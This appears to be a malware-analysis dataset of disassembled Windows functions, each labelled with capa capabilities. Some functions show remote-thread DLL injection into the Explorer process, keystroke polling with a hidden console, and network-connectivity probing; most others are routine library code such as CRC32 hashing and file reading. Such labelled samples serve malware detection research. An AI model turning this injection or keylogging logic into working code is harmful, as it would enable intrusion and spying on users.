joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180013510
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e120], 0
mov edi, ecx
jne 0x180013609
lea rbx, [0x18003e120]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18001356a
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033150]
mov qword [rbx + 8], rax
mov eax, dword [0x180033158]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003315c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x1800135a9
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x18001358d
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x180013585
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x1800135d2
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a1c]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x180033168]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x18003316c]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e120]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180014950
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, ecx
mov ecx, reloc.WS2_32.dll_recv
mov rbx, rdx
call fcn.18001806c
mov rsi, rax
mov dword [rax], edi
test rbx, rbx
jne 0x1800149a9
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rdi, rax
test rax, rax
je 0x1800149c6
mov rdx, rax
mov ecx, recvfrom
mov dword [rax + 4], 0
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], 0
jmp 0x1800149c6
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
call fcn.1800012d0
mov rdi, rax
lea rax, [rsp + 0x40]
lea r8, [0x1800148a0]
mov r9, rsi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
mov qword [rsi + 8], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180014a0a
mov eax, 1
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x180014de0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
sub rsp, 0x30
cmp qword [rcx + 8], 0
mov r13, rcx
jne 0x180014dfa
or eax, 0xffffffff
add rsp, 0x30
pop r13
ret
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor r14d, r14d
mov qword [rsp + 0x48], rbp
mov rbx, r14
mov qword [rsp + 0x50], rsi
mov r12d, eax
nop word [rax + rax]
mov rdi, qword [r13 + 8]
cmp dword [rbx + rdi + 0x1e07c], r14d
jne 0x180014eb3
mov ecx, dword [rbx + rdi + 0x1e084]
test ecx, ecx
je 0x180014eb3
cmp r12d, ecx
jbe 0x180014eb3
mov eax, r12d
sub eax, ecx
cmp eax, 0x4e20
jbe 0x180014eb3
lea rsi, [rbx + rdi + 0x1e088]
mov rcx, rsi
call fcn.180006030
mov ebp, eax
cmp byte [rbx + rdi + 0x1f088], r14b
je 0x180014ea0
lea rcx, [0x1800339a8]
mov rdx, rsi
call fcn.180003e40
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + rdi + 0x1e080], ebp
add eax, 0x9c40
mov dword [rbx + rdi + 0x1e084], eax
jmp 0x180014eb3
mov dword [rbx + rdi + 0x1e084], r14d
mov dword [rbx + rdi + 0x1e07c], 0xffffffff
add rbx, 0x1010
cmp rbx, 0x14140
jl 0x180014e30
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop r13
ret
Function at 0x180017800
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x290], rax
call fcn.1800055f0
lea rcx, str.Progman
xor edi, edi
xor edx, edx
mov dword [rsp + 0x40], edi
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x40]
lea ecx, [rdi + 0x2a]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001794e
lea r9d, [rdi + 0x30]
lea r8, [rsp + 0x48]
lea rdx, [fcn.180017800]
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x2b0], rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18001793d
lea r8, [rsp + 0x80]
mov r9d, 0x104
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180017928
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x180017928
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.180017f70
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x2a0
pop rdi
ret
Function at 0x180017cf0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov esi, ecx
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor ebp, ebp
mov edi, ebp
test esi, esi
jle 0x180017f1b
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], r12
movabs r12, 0x4924924924924925
nop dword [rax]
lea rcx, [rsp + 0x20]
call fcn.180019070
lea rcx, str.www.baidu.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017d80
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017d87
lea r11, [0x18002e50b]
mov rcx, qword [rsp + 0x20]
mov rax, r12
imul rcx
sar rdx, 1
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rdx, 7
sub rcx, rdx
je 0x180017e94
sub rcx, 1
je 0x180017e65
sub rcx, 1
je 0x180017e36
sub rcx, 1
je 0x180017e01
cmp rcx, 1
jne 0x180017ec1
lea rcx, str.www.so.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017df5
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017ec1
lea r11, [0x18002e50b]
jmp 0x180017ec1
lea rcx, str.www.qq.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017e2a
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017ec1
lea r11, [0x18002e50b]
jmp 0x180017ec1
lea rcx, str.www.126.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017e5c
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017ec1
lea r11, [0x18002e50b]
jmp 0x180017ec1
lea rcx, str.www.sina.com.cn
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017e8b
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017ec1
lea r11, [0x18002e50b]
jmp 0x180017ec1
lea rcx, str.www.sogou.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017eba
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r11, rax
jmp 0x180017ec1
lea r11, [0x18002e50b]
mov ecx, 0x50
mov r8d, 0xbb8
mov rdx, r11
call fcn.1800040b0
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180017ef4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, esi
jl 0x180017d50
jmp 0x180017f0b
mov edx, 2
mov rcx, rax
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rsp + 0x1f0]
mov r12, qword [rsp + 0x1f8]
call qword [sym.imp.WS2_32.dll_WSACleanup]
cmp edi, esi
setne bpl
mov eax, ebp
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.180017f70
lea r11, [rsp + 0x1e0]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180019d9f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800393f8]
jne 0x180017f8a
rol rcx, 0x10
test cx, 0xffff
jne 0x180017f86
repz ret
ror rcx, 0x10
jmp 0x180019cf8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18003ac10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18003ad08]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180019d7d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18003ac10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180019d9f
mov rax, qword [rsp + 0x88]
mov qword [0x18003ad08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18003aca8], rax
mov rax, qword [0x18003ad08]
mov qword [0x18003ab80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18003ac90], rax
mov dword [0x18003ab70], 0xc0000409
mov dword [0x18003ab74], 1
mov rax, qword [0x1800393f8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180039400]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18003ac08], eax
mov ecx, 1
call fcn.1800211fc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18002c6f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18003ac08], 0
jne 0x180019e26
mov ecx, 1
call fcn.1800211fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x18001b214
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x18001b088
Function at 0x180021c38
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.18001c3e4
xor ebx, ebx
mov rdi, rax
cmp qword [0x18003b948], rbx
jne 0x180021d3e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x180021e13
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180021e13
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18003b948], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18003b950], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18003b958], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18003b968], rax
test rax, rax
je 0x180021d35
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18003b960], rax
jmp 0x180021d45
mov rax, qword [0x18003b960]
jmp 0x180021d4c
mov rax, qword [0x18003b960]
mov r11, qword [0x18003b968]
cmp rax, rdi
je 0x180021db4
cmp r11, rdi
je 0x180021db4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18003b968]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x180021db4
test rax, rax
je 0x180021db4
call rsi
test rax, rax
je 0x180021dae
lea rcx, [rsp + 0x88]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180021dae
test byte [rsp + 0x38], 1
jne 0x180021db4
bts ebp, 0x15
jmp 0x180021df2
mov rcx, qword [0x18003b950]
cmp rcx, rdi
je 0x180021df2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180021df2
call rax
mov rbx, rax
test rax, rax
je 0x180021df2
mov rcx, qword [0x18003b958]
cmp rcx, rdi
je 0x180021df2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180021df2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18003b948]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180021e13
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x180021e15
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400023d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400023e5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1400a92a0]
call fcn.140005bf0
call fcn.140048810
mov eax, dword [rax + 0x70]
add rsp, 0x28
ret
Function at 0x1400054b0
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [rcx]
test edx, edx
jne 0x1400054d8
mov dword [rcx + 4], 2
lea rax, [rcx + 4]
cmp edx, 3
jne 0x140005501
mov dword [rax], 4
cmp edx, 0x22
jne 0x14000550c
mov dword [rax], 0x4a
ret
cmp edx, 1
jne 0x1400054e2
mov dword [rcx + 4], edx
jmp 0x1400054bd
cmp edx, 2
jne 0x1400054bd
lea rax, [rcx + 4]
mov dword [rax], 3
cmp edx, 0x17
jne 0x1400056a4
mov dword [rax], 0x38
ret
cmp edx, 4
jne 0x140005518
mov dword [rax], 5
cmp edx, 0x23
jne 0x140005523
mov dword [rax], 0x4b
ret
cmp edx, 5
jne 0x14000552f
mov dword [rax], 6
cmp edx, 0x24
jne 0x14000553a
mov dword [rax], 0x4c
ret
cmp edx, 6
jne 0x140005546
mov dword [rax], 8
cmp edx, 0x25
jne 0x140005551
mov dword [rax], 0x4d
ret
cmp edx, 7
jne 0x14000555d
mov dword [rax], 9
cmp edx, 0x26
jne 0x140005568
mov dword [rax], 0x4e
ret
cmp edx, 8
jne 0x140005574
mov dword [rax], 0xc
cmp edx, 0x27
jne 0x14000557f
mov dword [rax], 0x4f
ret
cmp edx, 9
jne 0x14000558b
mov dword [rax], 0xd
cmp edx, 0x28
jne 0x140005596
mov dword [rax], 0x50
ret
cmp edx, 0xa
jne 0x1400055a2
mov dword [rax], 0x10
cmp edx, 0x29
jne 0x1400055ad
mov dword [rax], 0x51
ret
cmp edx, 0xb
jne 0x1400055b9
mov dword [rax], 0x11
cmp edx, 0x2a
jne 0x1400055c4
mov dword [rax], 0x52
ret
cmp edx, 0xc
jne 0x1400055d0
mov dword [rax], 0x12
cmp edx, 0x2b
jne 0x1400055db
mov dword [rax], 0x53
ret
cmp edx, 0xd
jne 0x1400055e7
mov dword [rax], 0x13
cmp edx, 0x2c
jne 0x1400055f2
mov dword [rax], 0x54
ret
cmp edx, 0xe
jne 0x1400055fe
mov dword [rax], 0x14
cmp edx, 0x2d
jne 0x140005609
mov dword [rax], 0x55
ret
cmp edx, 0xf
jne 0x140005615
mov dword [rax], 0x30
cmp edx, 0x2e
jne 0x140005620
mov dword [rax], 0x56
ret
cmp edx, 0x10
jne 0x14000562c
mov dword [rax], 0x31
cmp edx, 0x2f
jne 0x140005637
mov dword [rax], 0x57
ret
cmp edx, 0x11
jne 0x140005643
mov dword [rax], 0x32
cmp edx, 0x30
jne 0x14000564e
mov dword [rax], 0x58
ret
cmp edx, 0x12
jne 0x14000565a
mov dword [rax], 0x33
cmp edx, 0x31
jne 0x140005665
mov dword [rax], 0x59
ret
cmp edx, 0x13
jne 0x140005671
mov dword [rax], 0x34
cmp edx, 0x32
jne 0x14000567c
mov dword [rax], 0x5a
ret
cmp edx, 0x14
jne 0x140005688
mov dword [rax], 0x35
cmp edx, 0x33
jne 0x140005687
mov dword [rax], 0x18
ret
cmp edx, 0x15
jne 0x140005694
mov dword [rax], 0x36
ret
cmp edx, 0x16
jne 0x1400054f1
mov dword [rax], 0x37
ret
cmp edx, 0x18
jne 0x1400056b0
mov dword [rax], 0x39
ret
cmp edx, 0x19
jne 0x1400056bc
mov dword [rax], 0x41
ret
cmp edx, 0x1a
jne 0x1400056c8
mov dword [rax], 0x42
ret
cmp edx, 0x1b
jne 0x1400056d4
mov dword [rax], 0x43
ret
cmp edx, 0x1c
jne 0x1400056e0
mov dword [rax], 0x44
ret
cmp edx, 0x1d
jne 0x1400056ec
mov dword [rax], 0x45
ret
cmp edx, 0x1e
jne 0x1400056f8
mov dword [rax], 0x46
ret
cmp edx, 0x1f
jne 0x140005704
mov dword [rax], 0x47
ret
cmp edx, 0x20
jne 0x140005710
mov dword [rax], 0x48
ret
cmp edx, 0x21
jne 0x1400054cc
mov dword [rax], 0x49
ret
Function at 0x1400099c0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140009a1d
lea rbx, [0x140050a70]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140009a04
cmp r10, 2
jb 0x140009a04
cmp byte [r9], r8b
jne 0x140009a04
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400099e0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140009a5f
lea rbx, [0x140050a70]
cmp r8b, 0x23
jne 0x140009a43
cmp byte [r9], r8b
jne 0x140009a43
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140009a30
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140009ba0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140009bba
mov qword [r8], 0
lea rdx, [0x140050664]
call fcn.140009a70
mov rbx, rax
test rax, rax
jne 0x140009bda
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140009cb1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009cb1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140009cb1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140009cb1
cmp rdi, 0xffffffffffffffff
je 0x140009cb1
mov rax, qword [0x1400a9180]
test rax, rax
je 0x140009c4e
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140009cb1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140009c9e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400a9180]
test rax, rax
je 0x140009c93
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140009cba
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140009cac
mov qword [r14], rdi
mov rax, rsi
jmp 0x140009cbc
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000c650
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x140050a70]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [0x1400a9180]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3ec4], ebx
jne 0x14000c6e6
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.14001f520
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000c6f0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xd8]
lea r9, [0x140050a70]
movss xmm2, dword [rcx + 0xf0]
movss xmm3, dword [rcx + 0xf4]
movsxd rcx, dword [rcx + 0xd0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret